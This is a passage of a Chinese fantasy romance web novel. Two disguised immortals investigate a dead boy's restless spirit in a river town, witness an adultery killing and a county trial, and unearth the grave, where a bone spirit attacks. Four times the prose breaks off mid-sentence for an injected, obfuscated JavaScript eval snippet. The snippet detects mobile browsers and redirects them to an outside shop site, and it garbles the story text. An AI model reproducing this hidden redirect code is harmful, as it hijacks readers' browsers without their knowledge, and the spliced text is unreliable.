所谓伸手不打笑脸人,更何况是这样一个笑得甜美的小姑娘。 那大汉见璃音这样一笑,又听她喊自己一声“高大哥”,只觉得从熏鱼摊那边吹来的腥风也染了香,吹得他一颗心飘飘荡荡,哪里还记得住先前与旁人的那些龃龉。 他十根手指在衣角上捏来捏去,说话间都有些扭捏了起来:“姑娘是要去荀家么?桥下那户就是了,就是荀家娘子这时上街边卖栗子去了,这会子还回不来,二位要是不嫌弃,不如去我那里桥下的小屋略坐一坐,吃了午饭,我再领你去。” 璃音听说荀家娘子不在家,便想着先和这位守桥人了解一下当日的情况,于是继续戴上面具,笑着点头道:“好啊好啊。” 无意中瞥见摇光的眼珠微不可见地向上翻了一下,也不知是被风迷了,还是偷偷翻了个白眼。 守桥的大汉一边领着二人下桥,一边就问:“尚未请教二位尊姓大名?” 璃音道:“我姓夏,单名一个音字。” 夏音,这是她行走下界时惯用的假名假姓。 那大汉忙招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404770|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼了她一声“夏姑娘”,又把眼去瞧那位一路不发一言的蓝衣男子:“还不知这位公子如何称呼?” 璃音心想失策,却忘了提前给摇光准备一个不那么招摇的假名,北斗七颗星星连成的杓状在她脑中掠过,闪念间,她已替他脱口道:“木杓。” “慕玿。” 却不想摇光与她几乎同时开了口。 璃音正暗自叹服他们这惊天的默契,就见摇光十分微妙地向她看来一眼,那双桃花眼里似乎涌着无尽暗流,将那些情绪的礁石都神秘地隐去了波涛之下。 但只一瞬,他就移开了眼,璃音只听见他淡淡地道:“钦慕的慕,玿璟的玿。” 璃音佩服,这么快就编得有鼻子有眼的,自己也是白为他操这个心。 那大汉没读过书,听不明白什么“玿”什么“璟”,但还好能听懂一个“慕”字,忙道:“原来是慕公子。” 下着桥,璃音又向守桥人问道:“高大哥,这座桥怎么好像走着格外陡些?” 守桥人哈哈一笑,伸手往远处一指,说道:“夏姑娘可知此地为何叫作望仙镇,此桥又为何叫作望仙桥?” 璃音顺着他指的方向望去,见山峦叠翠,群峰连绵,更有一座格外耸峭,高高直直宛若辟天而去。 她望着那山道:“我却不知,还请高大哥解惑。” “羿杀魔龙的故事夏姑娘听过吧。” 璃音点头:“尧之时,有十日并出,焦禾稼,杀草木,而民无所食。又有魔龙猰貐至弱水出,食人为害。天神羿上射十日而下杀猰貐。(注)” “不错,不错,就是这个什么亚什么雨。”那守桥人就遥遥指着那座半隐入云间的最高峰,“那座伏龙山,传说就是当年天神后羿就是在那里诛杀了魔龙。望仙镇里,咱们望的便是射日屠龙的这位大仙。” 说着走着,他的手就不指着那座伏龙山了,而是指去了天上那轮大太阳上面:“每天天快黑的时候,你站在这座桥上,就刚好能看到那日头从那伏龙山的山头下去,这个就叫‘大仙降临,落日屠龙’,我们就把这个,叫作‘望仙’。” 摇光抬头看着那轮日光,却道:“即便如此,这桥也不必建得如此之高。” “慕公子说得不错。” 守桥人说着摇头哈哈大笑一阵,才终于道出其中原委:“公子也知道了,望仙望仙,既然只在此处才能望仙,那造桥捐资的时候,可就热闹了,手里稍微有点钱的都抢着捐钱,没钱的也要捐两块石头,只要捐上了,那就能在桥头那石碑上、还有县志、宗谱里都留下美名。这么一座小桥哪里需要这么多的石头,那捐资的也哪家都不肯让步,那桥墩自然就只能越堆越高,最后就成了如今这副样子咯。” 三人说话间已行至拱脚,便在这时,却见那荀家老二又迎面奔了过来,那姓高的大汉见他刚被打了屁股就又再犯,气得眉毛竖起,正要发作,就听那荀家老二颤抖着声音叫道:“砍人啦!高叔叔,那边有人在砍人啦!” 跟着身后又奔来一个十五六岁模样的丫头,发髻散乱,满裙血污,一张惊恐的小脸上跑得全是眼泪,因那荀家老二见了高大汉忽地慢了步子,她被前面人这缓势一绊,刹脚不及,立刻就左脚踩去了右脚上,扑跌在地。 她爬起后正欲再跑,见了璃音和摇光两个,忽然眼前一亮,忙一手拉了璃音,一手拉了摇光,就拖着二人,往回狂奔而去,一边跑,一边口中不忘喊道:“二位贵人,求你们一定要救救我家夫人!救救我家夫人!” 璃音随她一路疾奔,穿过几间低矮房屋,又过一处板桥,钻入了一条里巷,木篱笆变成了砖垒的粉墙,两边的房舍也都高了起来,能看见几处飞檐高高挑着,显是住的大户人家。 只见巷中一个身高九尺来长的赤膊壮汉,手举一把钢刀,凸着一对充血的眼珠,一面发着喊,一面对着一个俯卧在地的男子大挥大砍,那男子背上的衣服都被砍进血肉里面,布条被血浸得黑红,与肉块糊作一团,已看不清原本的颜色。 那被砍的男子倒在地上,任刀子一下一下地往身上剁,只是一动不动,已然是死了。只是双臂紧抱着压在身下,似是在牢牢守护着什么,那被血染透的臂弯之中,隐约露出一角粉衫。 那壮汉又发狠砍了几刀,把他两条胳膊都砍断,大笑一声,用刀背挑着那男人的尸体一掀,终于叫他护在身下的一个粉裙粉面的妇人见了天光。那妇人不知是不是吓得呆了,她不喊不叫,也不哭,只向身边摸索着伸出一只手,摸去男人那截断臂的手上,慢慢与他十指交握在一处,闭上了眼。 “奸夫已死,接下来就轮到你这个□□!” 那壮汉大喝一声,手中长刀映着日光一闪,便朝那妇人纤长的脖颈劈去。 20. 第19章 误入捉奸现场 眼见手起刀落,那妇人的脑袋就要搬了家,小丫头在璃音耳边急切地尖叫起来:“救救我家夫人!求你们救救我家夫人!” 璃音望她一眼,暗忖:这丫头怎就笃定我们能救得了她夫人呢? 但有人命在旦夕,她此时不及多想,便一个闪身上前,右掌斜出,稳稳当当托住那壮汉耍着大刀的手腕,又左手中指去那刀面上轻轻一弹,那壮汉只觉腕间一麻,钢刀斜飞脱手,当啷一声,就险险擦着左肩,掉去了地上。 那壮汉本是一惊,但见搅事的是个小姑娘,就从鼻子里面哼了一声,挺着脖颈叫道:“鸟娘们,我自替我兄弟捉奸,你来多管什么闲事!” 话音未落,只听铮的一声剑啸,半空里一柄星斗环绕、寒光熠熠的长剑蓦地横飞过来,架上了那壮汉直挺挺的脖子。 璃音听他喊自己“鸟娘们”,虽粗鄙无礼,却颇感新奇,也不着恼,毕竟前世骂得更难听的都有,便就付之一哂,说道:“捉奸也是用捉的,却不是似你这般,用刀对着手无寸铁的人乱砍的。” 那大汉缩一缩脖,后退一步,那剑便也就跟着逼上一步,他也不回璃音的话,就对着几丈外那手捏剑诀的蓝袍公子叫道:“好汉,却不要误伤,我大哥漂泊在外,辛辛苦苦行商赚钱,只这贼婆娘不要脸,在家花着他寄来的银子,倒背着他快快活活偷养汉子,你说这对狗男女该不该死。” 摇光缓步上前,握住破军剑柄,拿剑背去他冷汗直冒的脖子上敲了两敲,寒声道:“你方才喊她什么?” 那壮汉一呆,又因着惊吓,脑子一时没转过弯来:“什么我喊她什么?” 璃音却已反应过来,摇光是在恼他那一声“鸟娘们”,这位神君生来就在紫宫里住着,平日里往来的都是文昌帝君那般的文雅仙人,哪里听过这种乡下粗话?他这时却是在回护自己。想到此处,璃音心中感激,但还是向他轻轻摇了摇头,示意自己并不在意。 地上那妇人听见这番动静,也自睁了眼,那壮汉见了,立时心想:“这却是在帮那贼婆娘出头,这人莫不也是她的相好,当真晦气。”当即冷哼一声,又把脖子挺了起来,凛然道:“我只为我大哥出头,今日便死在你这奸夫手上,权当成全我一段兄弟义气,又有何惧?” 璃音听他说得慷慨大义,秀眉一扬,道:“你兄弟晓得你要砍他老婆的头么?” 这时只听巷口一阵呼喝,便有一伙镇民,拥着县府几个公差,都急吼吼走将拢来,那砍人的大汉身高体壮,嗓子又亮,方才一番话说得豪气干云,巷头巷尾众人都听得真切,远远地就有人为他喝起彩来:“杀得好!杨肃,你陈大哥没捞得个贤德老婆,却有你恁个好兄弟!” 说话间已有一个公差来将杨肃捆了,边捆边笑道:“好壮士,却不要慌,我们都晓得你这是舍命的义举,到了牢里,我们自有管待。”就把个绳索缠得松垮垮的,押着走了。 那杨肃一面走着,一面仰天大笑,高声道:“为兄弟,去牢里吃些苦,算得什么!” 又有一个公差上前,对那地上的妇人喝一声:“还不起来!县老爷已等着给你升堂了。”便将她拖拽起来,也押往县里去了。 接着便有里正领着仵作一干人等,取那男子的尸首当场检验了,又验过旁边那把行凶的钢刀,就搬来一副门板,将尸体并着钢刀一并放了上去,着两个汉子,一前一后抬着走了。 热闹一散,围观的众人便也自散了。 只璃音“咦”了一声,向摇光道:“我还是头一次见鬼差来得这样快。” 凡人瞧不见,璃音却看得清楚,这大日头下面,便有一黑一白、各戴麻布高帽的两位无常使,躬身作揖,请那惨死刀下的亡魂上了一辆金顶大轿,那人上轿前向摇光投来一眼,忽地面有微赧,似是被人撞破了什么糗事一般,就冲进轿子,飞快遮下轿帘,在里面连声催着:“快走,快走。” 璃音大奇:“你认得他?” 摇光笑得玩味:“他在天上时满嘴只晓得功名利禄,不想到了人间,竟成了个情种。” 璃音听他这样说,已知晓那人是谁了,也不免觉得好笑起来:“文昌帝君这一劫历得委实精彩,够他记上几百几千年了。” 与有夫之妇偷情也便罢了,却还是个成全别人兄弟情义的炮灰。 摇光却道:“他也未必记得。” 璃音歪头看他:“怎么不记得,他方才护那女子护得那样紧,该不舍得回去就忘了吧。” 仙子神君们历劫归位后,可以选择丢弃凡间记忆,这个璃音是知道的,文昌这一世虽然结局不甚如意,但有此一段可以舍命相护的刻骨痴恋,难道不值得他往心里记上一记? 摇光眼神微闪:“再刻骨的记忆,过上百年千年,也自淡了,便是心里想要记着,终在不知不觉间,就再记不起来了。” 声音里似乎藏了一点儿黯然,璃音心想:我怎忘了,这位神君曾下凡历劫十次,这样的遭际未必没有经历过,想是日久年深,他终于开始渐渐记不清那些在凡间相守过的爱人,因此神伤吧。 就在这时,巷子里又跑进来一个公差,一路跑到璃音和摇光跟前,喘着气道:“这位姑娘,还有这位公子,你们二位是目击的证人,还请随我去县衙走一趟。” 荀家娘子还没见着,却要先去见县老爷了,璃音忽然就想起那个拖她蹚进这趟浑水的小丫头来,四下里一望,却早已不见了她的踪影。 到得县府衙门,知县早已升了堂,只见堂下正跪着两个人,那偷汉的妇人跪在左边,那砍人的赤膊汉子杨肃跪在右边。 原来那妇人唤作楚雁儿,丈夫陈天财常年在外行商,久不归家,她春心难耐,就偷偷摸摸与家中一个姓陆的小厮苟且起来。 那杨肃是陈天财拜把子结交的义弟,受大哥的托付,时常来家中照拂兄嫂一二,渐渐地就瞧出了些端倪,他有些武艺在身,昨夜里就偷偷翻了墙去到大哥家中,终于叫他撞破了奸情,于是今早就携了钢刀,埋伏在后院小门,只等二人一出来,就上去一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423291|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿乱砍,要杀了这对奸夫□□,替大哥出了这口恶气。 当下这二人你一言我一句,一个捏紧拳头告杀人,一个粗着脖子告通奸。那知县按着眉心,问璃音和摇光各要了证词,知那两人告的都不是作假,就唤来公吏,将两人都用枷来钉了,先下在牢里,过日再判。 出了县衙,已过了中午,街边有小贩吆喝着卖本地特产炸鱼干,璃音买了一袋,抱在怀里,往嘴里塞上一条,一口咬下去,满嘴鲜香酥脆,惊喜地“嗯”了一声,又去袋中拿出一条,送去摇光面前道:“慕公子,要不要尝尝?” 她在外不便喊他“神君”,就也跟着那守桥人叫他“慕公子”。 见他摇头,璃音就转手把那条小鱼干塞进了自己嘴里,嚼了一会儿,笑道:“原来你不爱吃鱼?我真好奇你那一百个忌口究竟都有哪些,听说你还列了个单子,不如哪天也拿来给我瞧瞧,我也好知道什么吃的能往你嘴里送。” “那单子我殿中多的是,只不过也没什么人当真罢了。”摇光看璃音折着封了袋口,就把那纸袋子接过,替她提在手里,轻笑,“倒不是不能吃鱼,只是吃不了这些油炸的。” 璃音长长“嗯”了一声,点点头:“不爱吃油炸啊,我记住了。” 在街上走了一会儿,想起方才一起下狱的两人,又道:“也不知今天这案子会怎么判?” 摇光道:“杀人者偿命,自古哪里都是如此。”那装小鱼干的纸袋被他提在手里,就随他的步子,一下前、一下后地悠悠晃着。 璃音心想他果然是上惯了战场的,说起生杀大事来毫不拖泥带水,便连语气也无一丝起伏,仿佛说的是“豆浆要用黄豆做”一样。 但后面这句他却说得有些迟疑:“偷情者不该,却不知此处律法是如何处置。” 璃音轻叹:“不说官方的律法,民间有些私刑也可怕得很,什么浸猪笼,骑木驴,也不知哪一样会落去她的身上。” 顿了顿,偏头向摇光问道:“慕公子,若是你的妻子不声不响给你戴了绿帽,你会想要如何处置她?” 摇光想了想,说道:“若我不再是她心上第一等的人,她便也再算不得我的妻子,我应该会让她离开吧。” 看他平时脾气那么臭,菜里多放一根葱都要对厨师耿耿于怀那么久,没想到他对待感情倒挺豁达,竟如此拿得起放得下,璃音不禁追问:“但若她仍是你心上第一等的人呢?你也就这样放她离去吗?” 摇光手里晃悠的纸袋一顿,璃音便也停下脚步看他,不想正好撞上他望过来的眼神:“我要么就做她心上第一等的人,要么就什么也不做。”说罢,那纸袋子又重新晃悠起来。 璃音提步跟上,心道:“他说到底还是个有傲气的,只肯做别人心尖尖上的人,若是被排去了第二名,就宁可当做不认识的。只是世间男子有几个人有他这份骄傲,那陈天财还不知要如何折磨楚娘子。” 正替那妇人怅惘间,忽听得身后有人喊道:“夏姑娘!慕公子!” 21. 第20章 爱吃鱼的狗 璃音回头,见是守桥的高大哥,原来他本来要凑去衙门口瞧热闹,却因着要把荀二送回家,来得迟了,人群早散了,正好路上见着他二人,就追了上来,说道:“却是正好,一起回去,我带你们去见那荀家娘子。” 两人自是随了同往。 荀家老大叫做荀满,今年刚要六岁,那日惨死在马蹄之下时,正被守桥人在拱脚处瞧了个正着,璃音一路随他走着,一路就向他细细询问了当时的许多情状。 只听高哥回忆道:“那过桥的规矩,本来是不允许骑着马走的,我看那位小姐穿着打扮都不简单,神气又傲,马也走得慢,就没上去拦,那时小满是怎么过来的我却没瞧见,只听到那马突然就发了疯病似的嘶叫,踢着前面两个蹄子,像个人一样立了起来,小满就倒下了,那位贵人小姐也没停下看上一看,就由着疯马飞跑着走了。” 叹一声,又道:“我也是后来才知道,那竟是现今宫里最得宠的小公主,我们小老百姓,遇上这样的事,就是送了命,又能去哪里说,过不多久老荀也去了,棺材本也没攒下几个子儿,那荀家娘子只好去山上连夜挖了一个坑,把一大一小用草席一裹就在一处埋了,可怜,实在是可怜。” 璃音想起那小鬼身子分作了三截的模样,问道:“那马蹄是踢中了他哪里?” 守桥人摇头:“这个我不知道。” “不是左肩?”璃音将问题抛得更具体了些,“他被踢中后,身子可有哪处歪斜?” 守桥人还是摇头:“我不知道那马踢中了他哪里,他也只是断气,没看出什么身子歪斜不歪斜。” 摇光微微皱眉:“难道没人察看过他身上的伤痕?” “怎么没人察看!正是这件怪事哩。”守桥人一拍手,声音也大了起来,“那仵作来验身的时候,先是确认人死了,大伙儿都知道他是被马给踢死的,扒了衣服一看,偏偏一处淤青也找不见,谁能知道那马蹄子是踢在了哪里?” 这倒奇了。 璃音和摇光默然相顾,从彼此的眼神中都看到了同一个疑问:揽华公主床头那只小鬼,真的就是这个荀满吗? 可若说那小鬼不是荀满,怎么昭宁皇帝和公主又都满口咬定,他就是那个命丧马蹄的荀家小儿呢? 三人就这样聊着想着走到了望仙桥上,忽听得一阵狗吠,就见从那边坡上跑出一个灰袍道士,看来三四十岁年纪,那灰袍宽大,跑动间,左边一只袖管空空荡荡地甩在空中,却是少了一条臂膀,他独臂抓着一根长扫帚,边跑边向身后挥斥:“狗东西!滚!走开!” 原来他身后紧追着一只大黄狗,它也不怕那竹竿拍打,张嘴就咬住道士身上灰袍的一角,喉咙里滚着一声声低哑的兽鸣,就是不肯松口。 “大黄!快回来!” 那大黄狗后面又接着追出来一个妇人,拍着黄狗的头叫它松了口,向那道士赔礼道:“这狗今日不知发的什么疯,道长别见怪。” 那灰袍道人扔了扫帚,单手整了整头上跑歪的道冠,口里说道:“我是好心,却不想遇着这等子晦气!”拂袖走了。 那狗龇着大牙又叫,就被妇人捏住嘴巴,套了绳子,只好委屈地“啊呜”一声,乖乖被牵着走了。 那守桥人忙上前几步,叫住那妇人道:“荀娘子慢着些儿,这里正有两位贵人找你。” 荀娘子听着“贵人”两字,已自皱了眉头,牵着黄狗,转过身来,却不看向璃音和摇光,只盯着那守桥人,冷冷地道:“老高,我一介乡野农妇,不认得什么贵人。” 那狗却忽然欢快地汪汪连叫几声,就挣脱妇人牵在手里的绳子,伸出舌头,撒开四腿,奔去了摇光手边,围着他手上提着的那袋炸鱼干,嗅一嗅,汪上几声,就摇着尾巴打起转来。 “你想吃这个呀?”璃音俯下身去,摸摸大黄毛茸茸的头,“你带我们回家,我就叫这个大哥哥把袋子里的小鱼干都给你好不好?” 被叫做“大哥哥”的摇光长眉微微一挑。 大黄却似是听懂了璃音的话,汪汪叫唤几声,一口咬住摇光的长袍下摆,就拽着要往家里带。 守桥人老高见此情形,不禁哈哈大笑。 荀娘子骂一声:“这馋狗!”无奈跟上。 荀家一户都是农民,就靠着半亩薄田,还有后山坡上的几株栗子树过活。荀娘子请三人在屋内围着一张小方桌坐了,倒了三碗清茶,又捧出一碟板栗,说道:“清贫人家,没什么可招待的。” 摇光将整间陈设简陋的小屋扫过一眼,打开手中纸袋,丢出一块小鱼干喂了大黄,问道:“二公子呢?” 荀娘子道:“吃过午饭,就送去观里念书了。” 璃音诧异道:“观里?” 老高剥了一颗板栗,抢着说道:“是镇上几家富商捐资,在伏龙观里弄了一个学堂,请了个先生坐镇,不收钱,就教穷孩子们识几个字。” 说着,咬一口板栗,愤愤不平地道:“今天被抓了老婆的那个陈天财,他当初就为这学堂捐了一大笔呢,做了这样的好事也是没好报,自己在外劳碌,老婆却在家里偷腥。” 璃音也拿起一颗栗子在手里剥着,不禁觉得有些奇怪,她记得板栗最早也要在八月才熟的,正疑惑间,已听见摇光扔着小鱼干问道:“怎么才四月就有这许多板栗成熟了?” “我们镇上的季节向来与别处不同。”老高喝一口茶,一脸神秘地伸手向上指了指,“慕公子还记得那个‘落日屠龙’吧?那也不是空穴来风,听说那位射日的大仙,一连射了九个太阳,就有一个落在我们镇上的,所以四季有些颠倒,那种在地里的东西,熟的时间自然也不一样了,你看这里的四月就比别处的七八月还热和。” 璃音颇感新奇地点点头,就听一旁荀娘子不耐烦道:“老高,你引了这二位贵人过来,却是打秋风闲聊来了?” 说着又去骂那只正大嚼鱼干的黄狗:“什么毛病!一条狗,比那些野猫还爱吃鱼。” 老高被她凶了,也不生气,只笑道:“咱们望仙镇的水土养出来的,甭管是人是狗,哪个能不爱吃鱼?就是家养的耗子也不去米缸偷米,都偷着去舔那门上挂着的咸鱼了。” 又附身去左手边坐着的璃音耳边,低声道:“夏姑娘不要生气,荀家老大最爱吃鱼,她这是看着狗,就又想起儿子来了。” 这说话声音压得虽低,但四人就挨坐在一张小桌旁边,荀娘子更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434339|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是就坐在老高右手边上,哪里有什么听不见的?当即就横了老高一眼,璃音见状,忙道:“荀娘子,我们正是奉了公主之命,为大公子的事来的。” 荀娘子霍地起身,大声道:“公主再娇贵也需讲个天理,小满已经入土为安,还派你们上门来做什么?总不是要把他挖出来再向公主赔罪?” 摇光喂狗的手一顿,忽然抬起头来,向璃音道:“这倒是个主意,确实该挖出来看看。” 璃音自然明白他的意思,是要去实地验一验荀满的魂魄,但这话听在荀娘子耳朵里,哪里还像是一句人话?登时就怒瞪了双眼,搬起屁股下面那张长条板凳,就要打人。 就连大黄也吐了鱼干,狂吠起来。 “他不是那个意思。”璃音忙起身上前,在一屋子鸡飞狗跳中伸臂替摇光拦下那板凳,“我们是想为大公子重新下葬,他虽已入土,只怕魂灵却还未能安歇。” 荀娘子闻言,当即松手,任长条板凳哐地一声落地,转而抓住璃音伸出的那只胳膊,颤声道:“是我埋得简陋,他在那里睡不着,是不是?那道长今日也同我说了,可是我有什么办法,我有什么办法……” 说着就往这窄小的屋子里望上一眼,大哭起来:“是娘没用!活着时让你吃的没油水,死了连口棺材都买不起,叫你在地下也不得安息!” 老高忙扔了手里的栗子,起身安慰道:“这不是有人来给小满安葬来了,宫里既然肯出钱,什么样的好棺木没有?这下葬的银子本也该那位公主来出,许是小满就拗着一口气,要等她赔来一副金棺木,才肯闭眼呢。” “好,好。”荀娘子拭去眼泪,把手在裙上蹭干了,才又去抓了璃音的手,“这重新下葬的事,最好还要叫上马道长一起。” “马道长?”璃音想起那个灰袍道士,“是方才在桥上遇见的那个独臂的道士?” 大黄又大叫起来。 摇光往它嘴里塞去一块小鱼干,却立刻被它吐了出来,鱼也不要吃了,只是大叫。 “叫什么!” 荀娘子喝住了狗,才道:“是他,他是伏龙观里的道长,今日到我家来,就说小满葬得不好,魂离了土,正不知在哪里飘荡呢,还说看孩子可怜,愿意为他开坛烧符,抚魂归家。” 说着拍上大黄的头:“人家是好心,哪知这畜生平时被我们一家子宠坏了,真做起‘狗咬吕洞宾’的事来。”口里虽骂着,手上动作却没舍得使劲,那狗哼唧一声,鼻子里喷出一股热气,一副毫不知错的样子,看着确实是被宠坏了。 当下几人商议停当,就去给荀家父子二人都重新置办了棺木,又添做了寿衣。直忙到晚上,荀娘子留老高吃饭,璃音和摇光两个无需食用人间烟火的就推了两人的百般相请,悄悄遛弯去了荀满坟上。 此时日头西坠,天色已渐昏暗下来,坟地里除了偶有几只乌鸦叫唤,便再听不见一点活物声响。 摇光站在坟前,手执破军:“老师,挖么?” 璃音同情地向破军望去一眼,然后默默转头,无视掉它愤怒颤抖着的剑身:“挖吧。” 就在这时,她腕间青光一闪,接着叮铃之声大作,是那只示警的无字铃铛亮了。 22. 第21章 骨灵 好在这符纸只是在大黄头上轻轻拍了一拍,没能真的把它的魂儿敲出来,只是晕过去一小会儿,才两句话的功夫就已回魂,“啊呜”一声,幽幽转醒了。 璃音揉揉大黄毛茸茸的脑袋,确认了它无碍,问道:“荀娘子,那个马道长是从哪里来的?” 荀娘子道:“我们这里就只有一个道观,想就是从伏龙观来的。” 老高劈手夺过荀娘子手中余下的黄符,全都撕了,眼里喷出怒火:“咱们这就去伏龙观,找那臭道士问个明白!真个办事没□□,会几张鬼画符,就来诓我们小老百姓!” 于是几人去到伏龙观,问了门口一个小道士,却说马道长断臂后就离开了道观,已有三年多了,如今谁也不知他在哪里。 线索断了。 老高骂道:“这个贼道人,要做害人的勾当,故意躲起来了。” 小道士正欲转身,又被璃音叫住问道:“小道长,你可知道他的手臂是如何没了的?” “具体的我也不清楚。”那小道士微微拧起眉毛,似是在回想着什么怪事,“他离观前那阵子,好像是被什么东西缠上了,忽然就神神秘秘的,日日晚归,人也瘦了一大圈,再有一天晚上回来,就少了一条臂膀,在观里养了几天,也不知是观主赶的人,还是他自己要走,总之后来就没在观里见过这位马道长了。” 拜辞过小道士,几人正好接了荀二下课,璃音便让荀娘子和老高先带了孩子回家,自己却和摇光悄悄溜去了坟地上。 此时日头西坠,天色已昏暗下来,坟地里除了偶有几只乌鸦叫唤,便再听不见一点活物声响。 摇光手执破军,站在荀满坟前:“老师,挖么?” 璃音有些不忍地向破军望去一眼:“挖吧。”然后就狠心扭头,无视掉它悲愤颤抖的剑身。 没办法,手头又没个铁锹,两人身上一堆宝贝,就它看着掘坟最是称手,只好委屈下这柄上古神剑,来帮他们把坟挖上一挖了。 破军好像赤脚蘸烫水似的,抖着剑尖,往那土里点一点,又跳开,隔了一会儿,终于一咬牙,一个俯冲,就插去了那土堆里,艰难地刨动起来。 刨了没几下,就从土里刨出好几张黄纸符来,璃音拾起一看,竟又是驱魂符,甚至这符纸上指名道姓,就是专门画给荀满的。 摇光看见这符,也是眉心一蹙:“好歹毒的心肠。” 小儿早亡已是不幸,这贴符的人却还要他魂不得归身,受不到凭吊祭奠,从此只能做一只孤魂野鬼,在外游荡。 上古神剑办事就是出活儿,没一会儿,就把一座土坟刨了个彻底,剑尖去把那草席一挑,就露出一大一小两具尸体来。 又或许不该说是两具尸体,而是一人一尸。 因为那具大的已然腐烂见骨,散发出阵阵尸臭,勾得天上乌鸦盘旋,往这里送了几声粗粝难听的长啼。而那具小的却浑身皮肉完好,甚至脸上还保留着一丝血色,就仿佛只是在这坑里睡着了一般。 璃音催动腕间那只无字铃铛,青光一闪间,只听得叮铃铃一声响,她又解下腰间那只母铃,去荀满耳边一摇,见他不醒,说道:“他三魂六魄俱已不在,却留了一魄守尸。” 三魂七魄只余下一魄,活人肯定是算不上了,死人却也还算不得。小孩儿的魂魄毕竟难赶难拘,这荀满也端的是魂灵顽健,这么多驱魂符撒在土里,还能死死固住一魄。 忽然璃音腕间青光猛闪,接着叮铃之声大作,无字铃铛疯狂摇动,是在向她示警。 “破军!” 抬眸间,只闻得摇光一声低喝,破军疾飞至二人身前,纵横几下飞划,就已在四周布下密不透风的一盘“星罗棋布”。 星阵方成,就听得左边砰的一声巨响,却是荀满旁边那座坟头炸了。 一片坟土乱扬中,飞出一块棺材盖板,一副白骨就伸着懒腰,打着哈欠,从坑里喀喇喇响着坐起来半个身子。 摇光手里捏着剑诀,沉声道:“骨灵。” 这坟地里还真是卧虎藏龙。 孤魂野鬼全凭一抹执念在世间飘荡,然而魂魄离体毕竟不得长久,离得久了,就总有阴气耗尽、魂消魄散的一天,要想长留,就必须“找到一间房子住下”。但要夺舍活物毕竟不易,于是便有专来夺死人骸骨,权且借住一阵子的,称为“骨灵”。 那骨灵坐起身后,头颅咔嗒一转,就把一张阴森森的骷髅脸向这边转了过来,原本该是眼睛的地方如今只剩下两个大洞,向外一团一团冒着黑气,煞是可怖。 只见它上下颌骨一开,就仰天嘶出一声喑哑长啸,那声音尖厉刺耳,像有人使劲鼓着腮帮在用乱气吹笛,把树梢上一只乌鸦吵得捂耳急鸣起来,一鬼一鸦,就这样你一声我一声地开始对吼,一声高过一声,便似那漏气竹笛配着破锣乱响,混搭出一段阴暗又诙谐的难听。 “来的这个还挺凶。”璃音站在一片星辉凝成的‘星罗棋布’中,缓缓摩挲着腕间那只“荒”字铃铛,“不过已有管事的来了。” 便听得呼的一声,那骨灵身后一条铁索如银蛇般飞来,要去绕它的脖子,又几下呛啷啷声响,却是那骨灵侧头一闪,避过索链,跟着右掌疾抓,五根白骨做成的手指就牢牢抓住铁锁一端,往身前猛地一拉一拽,就拽出一个踉踉跄跄的灰袍道士,那道士只有一只胳膊,单手紧握在铁链的另一端上,正是马道长。 见一击不中,那马道长倒也干脆,将手中索链一抛,转身就要逃跑,却不想骨灵反手一甩,铁链飞出,劲势比之方才马道长抛来时迅猛岂止百倍,只听铛铛几响,那铁索就已缠上了马道长的脖颈,只消再往回用力一拉,那道长立时就要毙命。 璃音本可以出手救他一救,但此人行事诡秘,心思难辨,光说他把凶险至极的驱魂符贴去寻常百姓家中这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445967|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,就绝不会是什么好人,甚而荀满坟里那些符纸大概率也是出自他的手笔,便干脆抱了胳膊,旁观起这场恶人斗恶灵的戏来。 摇光见她不打算动手,自己便也不动手,只留破军护着周身阵法,也一道抱臂旁观起来。 那马道长被铁链缠住了脖子,登时面若死灰,本已闭上了眼睛一心等死,不料铮铮几声响过,颈间铁链并未收紧,反倒一松,原来是那骨灵猛然间瞧见了荀满那具堪比活人的“尸体”,这简直就像流浪汉无意撞见一间无主的豪华大宅院,当即兴奋地喉间气声乱啸,七窍里黑烟狂喷,哪里还顾得上那个抖如筛糠的没用道士,就把铁链一扔,从棺材里一跃而起,尖哮着向荀满扑去。 